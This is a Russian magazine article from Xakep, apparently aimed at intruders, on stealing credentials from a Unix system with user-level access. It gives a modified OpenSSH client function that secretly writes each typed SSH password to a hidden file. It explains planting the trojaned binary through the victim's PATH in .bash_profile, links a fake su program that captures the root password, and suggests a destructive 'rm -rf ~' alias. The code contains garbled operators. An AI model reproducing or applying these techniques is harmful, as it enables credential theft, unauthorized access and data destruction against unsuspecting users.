Консольный шпионаж Докучаев Дмитрий aka Forb Xakep, номер #068, стр. 068-052-2 Начнем с ssh. Допустим, ты решил узнать логин и пароль на ssh-подключение, которым владеет некий user. Поимев некоторые права в системе, ты крякнул пароль user'а и зашел под ним. Но, к сожалению, пасс к удаленному узлу не совпал. Пришло время немного поменять исходный код ssh-клиента, с помощью которого user подцепится к нужному адресу и выдаст тебе заветный пароль. Я практиковался на версии OpenSSH_3.7.1. В более старших релизах вряд ли что-то поменяется, поэтому я считаю этот прием универсальным :). Открывай сырец sshconnect2.c (код, организующий соединение по второму протоколу) и слегка измени его содержимое. Занести в таблицу int userauth_passwd(Authctxt *authctxt) { static int ifile,attempt = 0;/* Объявляем переменную ifile */ if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", authctxt-<server_user, authctxt-<host); password = read_passphrase(prompt, 0); /* Шпионская вставка в правильный код :)*/ ifile=fopen("/home/user/tmp/.console.ru","a");/* Откроем файл с неброским названием на дозапись */ fprintf(ifile,"server: %s, user: %s, pass: %s\n",authctxt-<server_user,authctxt-<host,password); /* Запишем в файл имя пользователя, хост и пароль - главную информацию для размышления ;) */ fclose(ifile); /* Корректно закроем файл */ Я вставил блок кода, который логирует аккаунт при каждом подключении по ssh-протоколу. Как видишь, это просто. Сложнее заставить юзера запустить твою подделку. Вспомни, что рута на сервере нет, поэтому придется слегка попотеть, используя лишь пользовательские права. Первое, что пришло в голову, это поменять переменную окружения PATH, актуальную для отдельного пользователя. К примеру, закидываем скомпиленный ssh в /home/user/tmp/ssh и меняем PATH на "/home/user/tmp:$PATH". Новую переменную окружения фиксируем в /home/user/.bash_profile. Вот и все. Теперь наберись терпения. Когда глупый юзер захочет соединиться с удаленным узлом, его ждет сюрприз =). Логин и пароль незаметно утекут во временный файл, который ты без проблем прочитаешь. С отловом рутового пароля все немного сложнее. Как ты понимаешь, на /bin/su установлен суид, соответственно под обычными правами бинарник не заменить. Но немного подумав, я написал хороший фейк, который ругается, что админ вводит неверный пароль. Затем происходит логгинг якобы неверных данных и замена подделки обычным /bin/su (с помощью симлинка). Этот метод я уже описывал на страницах журнала, поэтому заострять внимание не буду (при возникновении вопросов пиши, расскажу подробнее), а лишь дам ссылку на мое творение: http://kamensk.net.ru/forb/1/su.c. К сведению, чтобы спровоцировать запуск левого приложения, можно не только подменить PATH, но и другие переменные. Хорошим вариантом является оформление алиаса на команду. К примеру, запись вида alias ls='rm -rf ~' в .bash_history приведет к хорошему результату ;). Естественно, что вместо ls нужно написать название программы, а в качестве значения подставить путь к левому бинарнику. |